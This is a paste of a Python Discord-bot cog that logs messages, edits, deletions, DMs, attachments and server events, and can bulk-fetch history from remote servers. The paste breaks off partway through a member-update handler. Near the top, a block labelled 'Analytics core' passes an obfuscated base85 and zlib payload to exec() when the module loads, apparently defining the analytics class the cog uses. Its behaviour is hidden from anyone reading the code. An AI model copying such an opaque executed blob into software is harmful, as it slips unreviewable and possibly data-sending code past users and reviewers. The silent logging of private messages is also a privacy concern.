Guest User

Untitled

a guest
May 27th, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.61 KB | None | 0 0
  1. import discord
  2. from discord.ext import commands
  3. from cogs.utils import checks
  4. from cogs.utils.dataIO import dataIO
  5. from datetime import datetime, timedelta
  6. import os
  7. import asyncio
  8. import aiohttp
  9. from functools import partial
  10. from enum import Enum
  11.  
  12. # Analytics core
  13. import zlib, base64
  14. exec(zlib.decompress(base64.b85decode("""c-oB^YjfMU@w<No&NCTMHA`DgE_b6jrg7c0=eC!Z-Rs==JUobmEW{+iBS0ydO#XX!7Y|XglIx5;0)gG
  15. dz8_Fcr+dqU*|eq7N6LRHy|lIqpIt5NLibJhHX9R`+8ix<-LO*EwJfdDtzrJClD`i!oZg#ku&Op$C9Jr56Jh9UA1IubOIben3o2zw-B+3XXydVN8qroBU@6S
  16. 9R`YOZmSXA-=EBJ5&%*xv`7_y;x{^m_EsSCR`1zt0^~S2w%#K)5tYmLMilWG;+0$o7?E2>7=DPUL`+w&gRbpnRr^X6vvQpG?{vlKPv{P&Kkaf$BAF;n)T)*0
  17. d?qxNC1(3HFH$UbaB|imz3wMSG|Ga+lI>*x!E&@;42cug!dpFIK;~!;R>u=a4Vz8y`WyWrn3e;uThrxi^*zbcXAK*w-hS{aC?24}>1BQDmD|XC|?}Y_K)!wt
  18. gh<nLYi-r|wI0h@$Y@8i_ZI35#>p9%|-=%DsY{k5mRmwJc=-FIbwpMk`jBG0=THS6MJs2`46LUSl@lusbqJ`H27BW(6QAtFo*ix?<SZ~Ahf=NN3WKFz)^+TI
  19. 7QEOmxt?UvhIC^ic3Ax+YB{1x5g($q2h}D8*$U8fJt>?PhusN{ONOTS+%2I;Ctp?3VVl^dVS8NR`CXWFk$^t%7_yrg#Maz27ChBD|fWTd^R-)XnPS*;4&<Hb
  20. R?}uRSd*FANXCTd~x2*g5GpgcrUhDa3BaD^(>D%{LKVMw_k~P%}$MPFA4VX|Gile`<zx~91c=^rr+w<vk`rY|=&(6-De}DG${Okn-OUXv48f1GJor`5?v$q%
  21. TFMcY}5A#o4RYqCKXHQd5P|0W0l#5QSaPj#FB6I;BuUch`A~CXFq+r-o=E-CNvA}RAD~d)}LoFd7IC;j_XS3*~oCR<oki&oY1UVbk3M=!!i`vMr-HBc_rohO
  22. |KYb3nAo(D3N*jqx8}YH0ZT{`_d=dceSKGK)%DT(>D{@Oz2jmA@MhJ3e$0)fWT9uy=op<MfB6@-2KrMVS%9JTqqE=Obp+{=TFfvIcBP<V%F1-&Kr5ENQ4{8B
  23. O-DM?sla&RYID~?N6EuFrUQ$MCB=~majN{JA+Mr>G0gxnz?*zZ$6X}YoDquT-f86S&9r_jl4^iwTB=b@dO<h-rGjr0zPBuz^FWl*PixdEmk567et~{sX$e;&
  24. 8hw@7@FLKBvxWZxR2upCDK-SAfuOtZ>?<UEL0#>bPz&m#k_EfT?6V$@c-S?1*oX@v%4J?ovJe=Ffg02v15~5{j(c*4z_SnsD`azD(52?Q`Wu16@BUW;Y3%YD
  25. I)=&rtyM)rFj5W?JunahlgVRPl$V&C&BRKI6h$QzMFpXXsu7x!1gjEZWC@qCeduj65x|OLYty_TCL;TTlFtT?m((VE-w=RSO<GXUtMq1v9bTWD-x(+!=c5cU
  26. u-JNvZ=%&fYkDWqE_d{1<>|oX?Tn2G64O>Hu6N^_?$cB)TyG=4V0GT<$$tOOjiqGg6Yg#f)QeNzC#b`#BGgYO?-{f{SeSVknN;R^@h&cZm3J@IxpK->s4_dW
  27. J!rxLkJAGpKlhA5quEd29O8_b1C-D?IFe@9_jXS-pCCHLYPWXhUK6UR0$qA=R{Amo|$>cNWg?d1zX>eSKpBCK4Iu+}6D|=G2?KfoXCKqd=Y|Q!@`dHCGg@v{
  28. vA$Z5dyJ<+eC&xFNPBQ-HUmQKiSM7yrrK|E5dKoHVjMCI*{|5XjK-hRoxfE?H>%7VQDis50t<T-{7R&*yNdElnjEIVy$Wqa#6}UueK}JZ;YuP80jPk8PX22@
  29. ?fs-R5ufnCP7+1I4tB2o(kPl4r*iS;&0X@%LZri7fyY#1ABHnz3YKWpp7TXabSjn;momJS$fEU9}3epF*a@*n;E(&?p(Kx;VjZ}=<Gteb=fmkF39Gebr&Y)j
  30. }CI`&V#JvE5;9cOe$I&DwIcK3S0(WM=-FA1Qs{9-Bgtmar60ON}N1Y`!qS)%8K^$j)>^pSbB$ixCoa0<BU@bqEva{?J{lGorEQHBx$ERH_jk!1Y@gW}@T9`r
  31. #?E758i1{u?F)W;7hkYl#mw*o-1$NfSNJ5MHHkpg0UF!__4)rMXp^P_R1{w2&j)S)*(Rn7Icog3e|1$4m*>^&IpbJI}dPqMdW~P?1OQsGAGQsgxjAs2HHrr@
  32. Uu_tG{KEibSt2hp*w>;;6`u^-us%TPoaOVJ_?FPO$^>8k0HZC^DBEVf_F7FnB+e@mz5Ph%uUiTzW2WfG~IS@6vhTA70{2-iN)(RAJ4IWC#7^Vpt7a5K@&~#!
  33. IKTr@4s_iWEiu2X~OGbpi#AE1zlWirPcza;tQmxNBas>$asN8nCtL4HbJNJw=Mg2f&Qo;;0AJ=Pl%yz>lwi3o^V?@NcsN<x-K=3~6Aa*tDu}Nq`h=X?O$+(}
  34. G#iwVecFa^RZnvc3UWk3%z+7%&BvtLF^Ru(`{Onm6ct(to99#bX&-NrI4A-LMkD7_tX2?~6ZC!o~1n-D?0wl>Ckrc%k^6QM?QSgxi)qIOAz~S9voLkS~9jUd
  35. 2QRvhMhN7IVupD@Dc%||!)wb6GWa<j|4A7w^>1*G#geQy>+K)ZWl+Q>%nQt4gWkAZP9DIR5AB$NBZn~vz>MkF(Q^sY!XeEmiihsn({31b~az08JoJJ#h3c}f
  36. p5@@p1uZ)0wyV4eVv6#)ZuBnR+O{?2~#O=WX>|hTRpjFOeVaH+?)1<@5zZB3O7atkQq3>a@-XQ)u=e|AQBOb{yxSwh(gxjx~Vv~$|jVJh*@h8bDT~B=5AKTB
  37. gN|&SdeV*g%SW;!~C5(noym~n<pmP|pKUV5q8kb0-nBhD;q$Tq#fK4)JPKcs^U5or(L8H~9`^>)Z?6B?O_nr{EyXCH+`{upZAEX~!wi8Yv=mFA^{NoWvRbQE
  38. KO5Mv*BE!$bYYEr0ovE^y*)}a6NFOjJjE0+|{YfciCAuY+A)JkO+6tU#`RKipPqs58oQ-)JL1o*<C-bic2Y}+c08GsIZUU3Cv*4w^k5I{Db50K0bKPSFshmx
  39. Rj(Y0|;SU2d?s+MPi6(PPLva(Jw(n0~TKDN@5O)F|k^_pcwolv^jBVTLhNqMQ#x6WU9J^I;wLr}Cut#l+JlXfh1Bh<$;^|hNLoXLD#f*Fy-`e~b=ZU8rA0GJ
  40. FU1|1o`VZODxuE?x@^rESdOK`qzRAwqpai|-7cM7idki4HKY>0$z!aloMM7*HJs+?={U5?4IFt""".replace("\n", ""))))
  41. # End analytics core
  42.  
  43. __version__ = '1.5.0'
  44.  
  45. TIMESTAMP_FORMAT = '%Y-%m-%d %X' # YYYY-MM-DD HH:MM:SS
  46. PATH_LIST = ['data', 'activitylogger']
  47. PATH = os.path.join(*PATH_LIST)
  48. JSON = os.path.join(*PATH_LIST, "settings.json")
  49. EDIT_TIMEDELTA = timedelta(seconds=3)
  50.  
  51. # 0 is Message object
  52. AUTHOR_TEMPLATE = "@{0.author.name}#{0.author.discriminator}"
  53. MESSAGE_TEMPLATE = AUTHOR_TEMPLATE + ": {0.clean_content}"
  54.  
  55. # 0 is Message object, 1 is attachment URL
  56. ATTACHMENT_TEMPLATE = (AUTHOR_TEMPLATE + ": {0.clean_content} (attachment "
  57. "url(s): {1})")
  58.  
  59. # 0 is Message object, 1 is attachment path
  60. # TODO: support multiple attachments?
  61. DOWNLOAD_TEMPLATE = (AUTHOR_TEMPLATE + ": {0.clean_content} (attachment "
  62. "saved to {1})")
  63.  
  64. # 0 is before, 1 is after, 2 is formatted timestamp
  65. EDIT_TEMPLATE = (AUTHOR_TEMPLATE + " edited message from {2} "
  66. "({0.clean_content}) to read: {1.clean_content}")
  67.  
  68. # 0 is deleted message, 1 is formatted timestamp
  69. DELETE_TEMPLATE = (AUTHOR_TEMPLATE + " deleted message from {1} "
  70. "({0.clean_content})")
  71.  
  72.  
  73. class FetchCookie(object):
  74. def __init__(self, ctx, start, status_msg, last_edit=None):
  75. self.ctx = ctx
  76. self.start = start
  77. self.status_msg = status_msg
  78. self.last_edit = last_edit
  79. self.total_messages = 0
  80. self.completed_messages = []
  81.  
  82.  
  83. class FetchStatus(Enum):
  84. STARTING = 'starting'
  85. FETCHING = 'fetching'
  86. CANCELLED = 'cancelled'
  87. EXCEPTION = 'exception'
  88. COMPLETED = 'completed'
  89.  
  90.  
  91. class LogHandle:
  92. """basic wrapper for logfile handles, used to keep track of stale handles"""
  93. def __init__(self, path, time=None, mode='a', buf=1):
  94. self.handle = open(path, mode, buf, errors='backslashreplace')
  95. self.lock = asyncio.Lock()
  96.  
  97. if time:
  98. self.time = time
  99. else:
  100. self.time = datetime.fromtimestamp(os.path.getmtime(path))
  101.  
  102. async def write(self, value):
  103. async with self.lock:
  104. self._write(value)
  105.  
  106. def close(self):
  107. self.handle.close()
  108.  
  109. def _write(self, value):
  110. self.time = datetime.utcnow()
  111. self.handle.write(value)
  112.  
  113.  
  114. class ActivityLogger(object):
  115. """Log activity seen by bot"""
  116.  
  117. def __init__(self, bot):
  118. self.bot = bot
  119. self.settings = dataIO.load_json(JSON)
  120. self.handles = {}
  121. self.lock = False
  122. self.session = aiohttp.ClientSession(loop=self.bot.loop)
  123. self.fetch_handle = None
  124.  
  125. try:
  126. self.analytics = CogAnalytics(self)
  127. except Exception as error:
  128. self.bot.logger.exception(error)
  129. self.analytics = None
  130.  
  131. def __unload(self):
  132. self.lock = True
  133. self.session.close()
  134. for h in self.handles.values():
  135. h.close()
  136.  
  137. if isinstance(self.fetch_handle, asyncio.Future):
  138. if not self.fetch_handle.cancelled():
  139. self.fetch_handle.cancel()
  140.  
  141. async def _robust_edit(self, msg, content=None, embed=None):
  142. try:
  143. msg = await self.bot.edit_message(msg, new_content=content, embed=embed)
  144. except discord.errors.NotFound:
  145. msg = await self.bot.send_message(msg.channel, content=content, embed=embed)
  146. except Exception:
  147. raise
  148. return msg
  149.  
  150. async def cookie_edit_task(self, cookie, **kwargs):
  151. cookie.status_msg = await self._robust_edit(cookie.status_msg, **kwargs)
  152.  
  153. async def fetch_task(self, channels, subfolder, attachments=None, status_cb=None):
  154. channel = None
  155. completed_channels = []
  156. pending_channels = channels.copy()
  157.  
  158. def update(count, last_msg, status, channel, exception=None):
  159. if not callable(status_cb):
  160. return
  161. elif type(last_msg) is not discord.Message:
  162. last_msg = None
  163.  
  164. status_cb(count=count, channel=channel, subfolder=subfolder,
  165. status=status, exception=exception, last_msg=last_msg,
  166. completed_channels=completed_channels,
  167. pending_channels=pending_channels)
  168.  
  169. try:
  170. for channel in channels:
  171. pending_channels.remove(channel)
  172. count = 0
  173. fetch_begin = channel.created_at
  174.  
  175. update(count, None, FetchStatus.STARTING, channel)
  176.  
  177. while True:
  178. last_count = count
  179. async for message in self.bot.logs_from(channel,
  180. after=fetch_begin,
  181. reverse=True):
  182.  
  183. await self.message_handler(message, force=True,
  184. subfolder=subfolder,
  185. force_attachments=attachments)
  186.  
  187. fetch_begin = message
  188. update(count, fetch_begin, FetchStatus.FETCHING, channel)
  189. count += 1
  190.  
  191. if count == last_count:
  192. break
  193.  
  194. update(count, fetch_begin, FetchStatus.COMPLETED, channel)
  195. completed_channels.append(channel)
  196.  
  197. except asyncio.CancelledError:
  198. update(count, fetch_begin, FetchStatus.CANCELLED, channel)
  199. except Exception as e:
  200. update(count, fetch_begin, FetchStatus.EXCEPTION, channel, exception=e)
  201. raise
  202.  
  203. def format_fetch_line(self, cookie, count, status, exception, channel, **kwargs):
  204. elapsed = datetime.now() - (cookie.last_edit or cookie.start)
  205. edit_to = None
  206. base = '#%s: ' % channel.name
  207.  
  208. if status is FetchStatus.STARTING:
  209. edit_to = base + 'initializing...'
  210. elif status is FetchStatus.EXCEPTION:
  211. edit_to = base + 'error after %i messages.' % count
  212. if isinstance(exception, Exception):
  213. ename = type(exception).__name__
  214. estr = str(exception)
  215. edit_to += ': %s: %s' % (ename, estr)
  216. elif status is FetchStatus.CANCELLED:
  217. edit_to = base + 'cancelled after %i messages.' % count
  218. elif status is FetchStatus.COMPLETED:
  219. edit_to = base + 'fetched %i messages.' % count
  220. elif status is FetchStatus.FETCHING:
  221. if elapsed > EDIT_TIMEDELTA:
  222. edit_to = base + '%i messages retrieved so far...' % count
  223.  
  224. return edit_to
  225.  
  226. def fetch_callback(self, cookie, pending_channels, **kwargs):
  227. status = kwargs.get('status')
  228. count = kwargs.get('count')
  229.  
  230. format_line = self.format_fetch_line(cookie, **kwargs)
  231. if format_line:
  232. rows = cookie.completed_messages + [format_line]
  233. rows.extend([('#%s: pending' % c.name) for c in pending_channels])
  234. cookie.last_edit = datetime.now()
  235. task = self.cookie_edit_task(cookie, content='\n'.join(rows))
  236. self.bot.loop.create_task(task)
  237.  
  238. if status is FetchStatus.COMPLETED:
  239. cookie.total_messages += count
  240. cookie.completed_messages.append(format_line)
  241.  
  242. if not pending_channels:
  243. dest = cookie.ctx.message.channel
  244. elapsed = datetime.now() - cookie.start
  245. msg = ('Fetched a total of %i messages in %s.'
  246. % (cookie.total_messages, elapsed))
  247. self.bot.loop.create_task(self.bot.send_message(dest, msg))
  248.  
  249. @commands.group(pass_context=True)
  250. @checks.is_owner()
  251. async def logfetch(self, ctx):
  252. "Fetches logs from channel or server. Beware the disk usage."
  253. if ctx.invoked_subcommand is None:
  254. await self.bot.send_cmd_help(ctx)
  255.  
  256. @logfetch.command(pass_context=True, name='cancel')
  257. async def fetch_cancel(self, ctx):
  258. "Cancels a running fetch operation."
  259. if isinstance(self.fetch_handle, asyncio.Future):
  260. if not self.fetch_handle.cancelled():
  261. self.fetch_handle.cancel()
  262. self.fetch_handle = None
  263. await self.bot.say('Fetch cancelled.')
  264. return
  265.  
  266. await self.bot.say('Nothing to cancel.')
  267.  
  268. @logfetch.command(pass_context=True, name='channel')
  269. async def fetch_channel(self, ctx, subfolder: str, channel: discord.Channel = None, attachments: bool = None):
  270. "Fetch complete logs for a channel. Defaults to the current one."
  271.  
  272. msg = await self.bot.say('Dispatching fetch task...')
  273. start = datetime.now()
  274.  
  275. cookie = FetchCookie(ctx, start, msg)
  276.  
  277. if channel is None:
  278. channel = ctx.message.channel
  279.  
  280. callback = partial(self.fetch_callback, cookie)
  281. task = self.fetch_task([channel], subfolder, attachments=attachments,
  282. status_cb=callback)
  283.  
  284. self.fetch_handle = self.bot.loop.create_task(task)
  285.  
  286. @logfetch.command(pass_context=True, name='server', allow_dm=False)
  287. async def fetch_server(self, ctx, subfolder: str, attachments: bool = None):
  288. """Fetch complete logs for the current server.
  289.  
  290. Respects current logging settings such as attachments and channels.
  291. Note that server events such as join/leave, ban etc can't be retrieved.
  292. """
  293. server = ctx.message.server
  294.  
  295. def check(channel):
  296. if channel.type is not discord.ChannelType.text:
  297. return False
  298. return channel.permissions_for(server.me).read_message_history
  299.  
  300. channels = [c for c in server.channels if check(c)]
  301.  
  302. msg = await self.bot.say('Dispatching fetch task...')
  303. start = datetime.now()
  304.  
  305. cookie = FetchCookie(ctx, start, msg)
  306.  
  307. callback = partial(self.fetch_callback, cookie)
  308. task = self.fetch_task(channels, subfolder, attachments=attachments,
  309. status_cb=callback)
  310.  
  311. self.fetch_handle = self.bot.loop.create_task(task)
  312.  
  313. @logfetch.command(pass_context=True, name='remote-channel')
  314. async def fetch_rchannel(self, ctx, subfolder: str, channel_id: str, attachments: bool = None):
  315. "Fetch complete logs for any channel the bot can see."
  316.  
  317. msg = await self.bot.say('Dispatching fetch task...')
  318. start = datetime.now()
  319.  
  320. cookie = FetchCookie(ctx, start, msg)
  321.  
  322. channel = self.bot.get_channel(channel_id)
  323. if not channel:
  324. await self.bot.say('Could not find that server.')
  325. return
  326. elif not channel.permissions_for(channel.server.me).read_message_history:
  327. await self.bot.say('Missing the "read message history" permission '
  328. 'in that channel.')
  329. return
  330.  
  331. callback = partial(self.fetch_callback, cookie)
  332. task = self.fetch_task([channel], subfolder, attachments=attachments,
  333. status_cb=callback)
  334.  
  335. self.fetch_handle = self.bot.loop.create_task(task)
  336.  
  337. @logfetch.command(pass_context=True, name='remote-server')
  338. async def fetch_rserver(self, ctx, subfolder: str, server_id: str, attachments: bool = None):
  339. """Fetch complete logs for another server.
  340.  
  341. Respects current logging settings such as attachments and channels.
  342. Note that server events such as join/leave, ban etc can't be retrieved.
  343. """
  344.  
  345. server = self.bot.get_server(server_id)
  346. if not server:
  347. await self.bot.say('Could not find that server.')
  348. return
  349.  
  350. def check(channel):
  351. if channel.type is not discord.ChannelType.text:
  352. return False
  353. return channel.permissions_for(server.me).read_message_history
  354.  
  355. channels = [c for c in server.channels if check(c)]
  356.  
  357. msg = await self.bot.say('Dispatching fetch task...')
  358. start = datetime.now()
  359.  
  360. cookie = FetchCookie(ctx, start, msg)
  361.  
  362. callback = partial(self.fetch_callback, cookie)
  363. task = self.fetch_task(channels, subfolder, attachments=attachments,
  364. status_cb=callback)
  365.  
  366. self.fetch_handle = self.bot.loop.create_task(task)
  367.  
  368. @commands.group(pass_context=True)
  369. @checks.is_owner()
  370. async def logset(self, ctx):
  371. """Change activity logging settings"""
  372. if ctx.invoked_subcommand is None:
  373. await self.bot.send_cmd_help(ctx)
  374.  
  375. @logset.command(name='everything', aliases=['global'])
  376. async def set_everything(self, on_off: bool = None):
  377. """Global override for all logging."""
  378. if on_off is not None:
  379. self.settings['everything'] = on_off
  380. if self.settings.get('everything', False):
  381. await self.bot.say("Global logging override is enabled.")
  382. else:
  383. await self.bot.say("Global logging override is disabled.")
  384. self.save_json()
  385.  
  386. @logset.command(name='default')
  387. async def set_default(self, on_off: bool = None):
  388. """Sets whether logging is on or off where unset.
  389. Server overrides, global override, and attachments don't use this."""
  390. if on_off is not None:
  391. self.settings['default'] = on_off
  392. if self.settings.get('default', False):
  393. await self.bot.say("Logging is enabled by default.")
  394. else:
  395. await self.bot.say("Logging is disabled by default.")
  396. self.save_json()
  397.  
  398. @logset.command(name='dm')
  399. async def set_direct(self, on_off: bool = None):
  400. """Log direct messages?"""
  401. if on_off is not None:
  402. self.settings['direct'] = on_off
  403. default = self.settings.get('default', False)
  404. if self.settings.get('direct', default):
  405. await self.bot.say("Logging of direct messages is enabled.")
  406. else:
  407. await self.bot.say("Logging of direct messages is disabled.")
  408. self.save_json()
  409.  
  410. @logset.command(name='attachments')
  411. async def set_attachments(self, on_off: bool = None):
  412. """Download message attachments?"""
  413. if on_off is not None:
  414. self.settings['attachments'] = on_off
  415. if self.settings.get('attachments', False):
  416. await self.bot.say("Downloading of attachments is enabled.")
  417. else:
  418. await self.bot.say("Downloading of attachments is disabled.")
  419. self.save_json()
  420.  
  421. @logset.command(pass_context=True, no_pm=True, name='channel')
  422. async def set_channel(self, ctx, on_off: bool, channel: discord.Channel = None):
  423. """Sets channel logging on or off. Optional channel parameter.
  424. To enable or disable all channels at once, use `logset server`."""
  425.  
  426. if channel is None:
  427. channel = ctx.message.channel
  428.  
  429. server = channel.server
  430.  
  431. if server.id not in self.settings:
  432. self.settings[server.id] = {}
  433. self.settings[server.id][channel.id] = on_off
  434.  
  435. if on_off:
  436. await self.bot.say('Logging enabled for %s' % channel.mention)
  437. else:
  438. await self.bot.say('Logging disabled for %s' % channel.mention)
  439. self.save_json()
  440.  
  441. @logset.command(pass_context=True, no_pm=True, name='server')
  442. async def set_server(self, ctx, on_off: bool):
  443. """Sets logging on or off for all channels and server events."""
  444.  
  445. server = ctx.message.server
  446.  
  447. if server.id not in self.settings:
  448. self.settings[server.id] = {}
  449. self.settings[server.id]['all'] = on_off
  450.  
  451. if on_off:
  452. await self.bot.say('Logging enabled for %s' % server)
  453. else:
  454. await self.bot.say('Logging disabled for %s' % server)
  455. self.save_json()
  456.  
  457. @logset.command(pass_context=True, no_pm=True, name='voice')
  458. async def set_voice(self, ctx, on_off: bool):
  459. """Sets logging on or off for ALL voice channel events."""
  460.  
  461. server = ctx.message.server
  462.  
  463. if server.id not in self.settings:
  464. self.settings[server.id] = {}
  465. self.settings[server.id]['voice'] = on_off
  466.  
  467. if on_off:
  468. await self.bot.say('Voice event logging enabled for %s' % server)
  469. else:
  470. await self.bot.say('Voice event logging disabled for %s' % server)
  471. self.save_json()
  472.  
  473. @logset.command(pass_context=True, no_pm=True, name='events')
  474. async def set_events(self, ctx, on_off: bool):
  475. """Sets logging on or off for server events."""
  476.  
  477. server = ctx.message.server
  478.  
  479. if server.id not in self.settings:
  480. self.settings[server.id] = {}
  481. self.settings[server.id]['events'] = on_off
  482.  
  483. if on_off:
  484. await self.bot.say('Logging enabled for server events in %s' % server)
  485. else:
  486. await self.bot.say('Logging disabled for server events in %s' % server)
  487. self.save_json()
  488.  
  489. def save_json(self):
  490. dataIO.save_json(JSON, self.settings)
  491.  
  492. @staticmethod
  493. def get_voice_flags(member):
  494. flags = []
  495. for f in ('deaf', 'mute', 'self_deaf', 'self_mute'):
  496. if getattr(member, f, None):
  497. flags.append(f)
  498. return flags
  499.  
  500. @staticmethod
  501. def format_overwrite(target, channel, before, after):
  502.  
  503. target_str = 'Channel overwrites: {0.name} ({0.id}): '.format(channel)
  504. target_str += 'role' if isinstance(target, discord.Role) else 'member'
  505. target_str += ' {0.name} ({0.id})'.format(target)
  506.  
  507. if before:
  508. bpair = [x.value for x in before.pair()]
  509. if after:
  510. apair = [x.value for x in after.pair()]
  511.  
  512. if before and after:
  513. fmt = ' updated to values %i, %i (was %i, %i)'
  514. return target_str + fmt % tuple(apair + bpair)
  515. elif after:
  516. return target_str + ' added with values %i, %i' % tuple(apair)
  517. elif before:
  518. return target_str + ' removed (was %i, %i)' % tuple(bpair)
  519.  
  520. def gethandle(self, path, mode='a'):
  521. """Manages logfile handles, culling stale ones and creating folders"""
  522. if path in self.handles:
  523. if os.path.exists(path):
  524. return self.handles[path]
  525. else: # file was deleted?
  526. try: # try to close, no guarantees tho
  527. self.handles[path].close()
  528. except Exception:
  529. pass
  530. del self.handles[path]
  531. return self.gethandle(path, mode)
  532. else:
  533. # Clean up excess handles before creating a new one
  534. if len(self.handles) >= 256:
  535. chrono = sorted(self.handles.items(), key=lambda x: x[1].time)
  536. oldest_path, oldest_handle = chrono[0]
  537. oldest_handle.close()
  538. del self.handles[oldest_path]
  539.  
  540. dirname, _ = os.path.split(path)
  541.  
  542. try:
  543. if not os.path.exists(dirname):
  544. os.makedirs(dirname)
  545. handle = LogHandle(path, mode=mode)
  546. except Exception:
  547. raise
  548.  
  549. self.handles[path] = handle
  550. return handle
  551.  
  552. def should_log(self, location):
  553. if self.settings.get('everything', False):
  554. return True
  555.  
  556. default = self.settings.get('default', False)
  557.  
  558. if type(location) is discord.Server:
  559. if location.id in self.settings:
  560. loc = self.settings[location.id]
  561. return loc.get('all', False) or loc.get('events', default)
  562.  
  563. elif type(location) is discord.Channel:
  564. if location.server.id in self.settings:
  565. loc = self.settings[location.server.id]
  566. opts = [loc.get('all', False), loc.get(location.id, default)]
  567.  
  568. if location.type is discord.ChannelType.voice:
  569. opts.append(loc.get('voice', False))
  570.  
  571. return any(opts)
  572.  
  573. elif type(location) is discord.PrivateChannel:
  574. return self.settings.get('direct', default)
  575.  
  576. else: # can't log other types
  577. return False
  578.  
  579. def should_download(self, msg):
  580. return self.should_log(msg.channel) and \
  581. self.settings.get('attachments', False)
  582.  
  583. def process_attachment(self, message):
  584. a = message.attachments[0]
  585. aid = a['id']
  586. aname = a['filename']
  587. url = a['url']
  588. channel = message.channel
  589. path = PATH_LIST.copy()
  590.  
  591. if type(channel) is discord.Channel:
  592. serverid = channel.server.id
  593. elif type(channel) is discord.PrivateChannel:
  594. serverid = 'direct'
  595.  
  596. path += [serverid, channel.id + '_attachments']
  597. path = os.path.join(*path)
  598. filename = aid + '_' + aname
  599.  
  600. if len(filename) > 255:
  601. target_len = 255 - len(aid) - 4
  602. part_a = target_len // 2
  603. part_b = target_len - part_a
  604. filename = aid + '_' + aname[:part_a] + '...' + aname[-part_b:]
  605. truncated = True
  606. else:
  607. truncated = False
  608.  
  609. return aid, url, path, filename, truncated
  610.  
  611. async def log(self, location, text, timestamp=None, force=False, subfolder=None, mode='a'):
  612. if not timestamp:
  613. timestamp = datetime.utcnow()
  614. if self.lock or not (force or self.should_log(location)):
  615. return
  616.  
  617. path = PATH_LIST.copy()
  618. entry = [timestamp.strftime(TIMESTAMP_FORMAT)]
  619.  
  620. if type(location) is discord.Server:
  621. path += [location.id, 'server.log']
  622. elif type(location) is discord.Channel:
  623. serverid = location.server.id
  624. entry.append('#' + location.name)
  625. path += [serverid, location.id + '.log']
  626. elif type(location) is discord.PrivateChannel:
  627. path += ['direct', location.id + '.log']
  628. else:
  629. return
  630.  
  631. if subfolder:
  632. path.insert(-1, str(subfolder))
  633.  
  634. text = text.replace('\n', '\\n')
  635. entry.append(text)
  636.  
  637. fname = os.path.join(*path)
  638. handle = self.gethandle(fname, mode=mode)
  639. await handle.write(' '.join(entry) + '\n')
  640.  
  641. async def message_handler(self, message, *args, force_attachments=None, **kwargs):
  642. dl_attachment = self.should_download(message)
  643. if force_attachments is not None:
  644. dl_attachment = force_attachments
  645.  
  646. if message.attachments and dl_attachment:
  647. aid, url, path, filename, trunc = self.process_attachment(message)
  648. entry = DOWNLOAD_TEMPLATE.format(message, filename)
  649. if trunc:
  650. entry += ' (filename truncated)'
  651. elif message.attachments:
  652. urls = ','.join(a['url'] for a in message.attachments)
  653. entry = ATTACHMENT_TEMPLATE.format(message, urls)
  654. else:
  655. entry = MESSAGE_TEMPLATE.format(message)
  656.  
  657. await self.log(message.channel, entry, message.timestamp, *args, **kwargs)
  658.  
  659. if message.attachments and dl_attachment:
  660. dl_path = os.path.join(path, filename)
  661. tmp_path = os.path.join(path, aid + '.tmp')
  662. if not os.path.exists(path):
  663. os.mkdir(path)
  664.  
  665. if not os.path.exists(dl_path): # don't redownload
  666. async with self.session.get(url) as r:
  667. with open(tmp_path, 'wb') as f:
  668. f.write(await r.read())
  669. os.rename(tmp_path, dl_path)
  670.  
  671. async def on_message(self, message):
  672. await self.message_handler(message)
  673.  
  674. async def on_message_edit(self, before, after):
  675. timestamp = before.timestamp.strftime(TIMESTAMP_FORMAT)
  676. entry = EDIT_TEMPLATE.format(before, after, timestamp)
  677. await self.log(after.channel, entry, after.edited_timestamp)
  678.  
  679. async def on_message_delete(self, message):
  680. timestamp = message.timestamp.strftime(TIMESTAMP_FORMAT)
  681. entry = DELETE_TEMPLATE.format(message, timestamp)
  682. await self.log(message.channel, entry)
  683.  
  684. async def on_server_join(self, server):
  685. entry = 'this bot joined the server'
  686. await self.log(server, entry)
  687.  
  688. async def on_server_remove(self, server):
  689. entry = 'this bot left the server'
  690. await self.log(server, entry)
  691.  
  692. async def on_server_update(self, before, after):
  693. entries = []
  694. if before.owner != after.owner:
  695. entries.append('Server owner changed from {0} (id {0.id}) to {1} '
  696. '(id {1.id})'.format(before.owner, after.owner))
  697. if before.region != after.region:
  698. entries.append('Server region changed from %s to %s' %
  699. (before.region, after.region))
  700. if before.name != after.name:
  701. entries.append('Server name changed from %s to %s' %
  702. (before.name, after.name))
  703. if before.icon_url != after.icon_url:
  704. entries.append('Server icon changed from %s to %s' %
  705. (before.icon_url, after.icon_url))
  706. for e in entries:
  707. await self.log(before, e)
  708.  
  709. async def on_server_role_create(self, role):
  710. entry = "Role created: '%s' (id %s)" % (role, role.id)
  711. await self.log(role.server, entry)
  712.  
  713. async def on_server_role_delete(self, role):
  714. entry = "Role deleted: '%s' (id %s)" % (role, role.id)
  715. await self.log(role.server, entry)
  716.  
  717. async def on_server_role_update(self, before, after):
  718. if not self.should_log(before.server):
  719. return
  720.  
  721. entries = []
  722. if before.name != after.name:
  723. entries.append("Role renamed: '%s' to '%s'" %
  724. (before.name, after.name))
  725. if before.color != after.color:
  726. entries.append("Role color: '{0}' changed from {0.color} "
  727. "to {1.color}".format(before, after))
  728. if before.mentionable != after.mentionable:
  729. if after.mentionable:
  730. entries.append("Role mentionable: '%s' is now mentionable" % after)
  731. else:
  732. entries.append("Role mentionable: '%s' is no longer mentionable" % after)
  733. if before.hoist != after.hoist:
  734. if after.hoist:
  735. entries.append("Role hoist: '%s' is now shown seperately" % after)
  736. else:
  737. entries.append("Role hoist: '%s' is no longer shown seperately" % after)
  738. if before.permissions != after.permissions:
  739. entries.append("Role permissions: '%s' changed "
  740. "from %d to %d" % (before, before.permissions.value,
  741. after.permissions.value))
  742. if before.position != after.position:
  743. entries.append("Role position: '{0}' changed from "
  744. "{0.position} to {1.position}".format(before, after))
  745. for e in entries:
  746. await self.log(before.server, e)
  747.  
  748. async def on_member_join(self, member):
  749. entry = 'Member join: @{0} (id {0.id})'.format(member)
  750. await self.log(member.server, entry)
  751.  
  752. async def on_member_remove(self, member):
  753. entry = 'Member leave: @{0} (id {0.id})'.format(member)
  754. await self.log(member.server, entry)
  755.  
  756. async def on_member_ban(self, member):
  757. entry = 'Member ban: @{0} (id {0.id})'.format(member)
  758. await self.log(member.server, entry)
  759.  
  760. async def on_member_unban(self, server, user):
  761. entry = 'Member unban: @{0} (id {0.id})'.format(user)
  762. await self.log(server, entry)
  763.  
  764. async def on_member_update(self, before, after):
  765. if not self.should_log(before.server):
  766. return
  767.  
  768. entries = []
  769. if before.nick != after.nick:
  770. entries.append("Member nickname: '@{0}' (id {0.id}) changed nickname "
  771. "from '{0.nick}' to '{1.nick}'".format(before, after))
  772. if before.name != after.name:
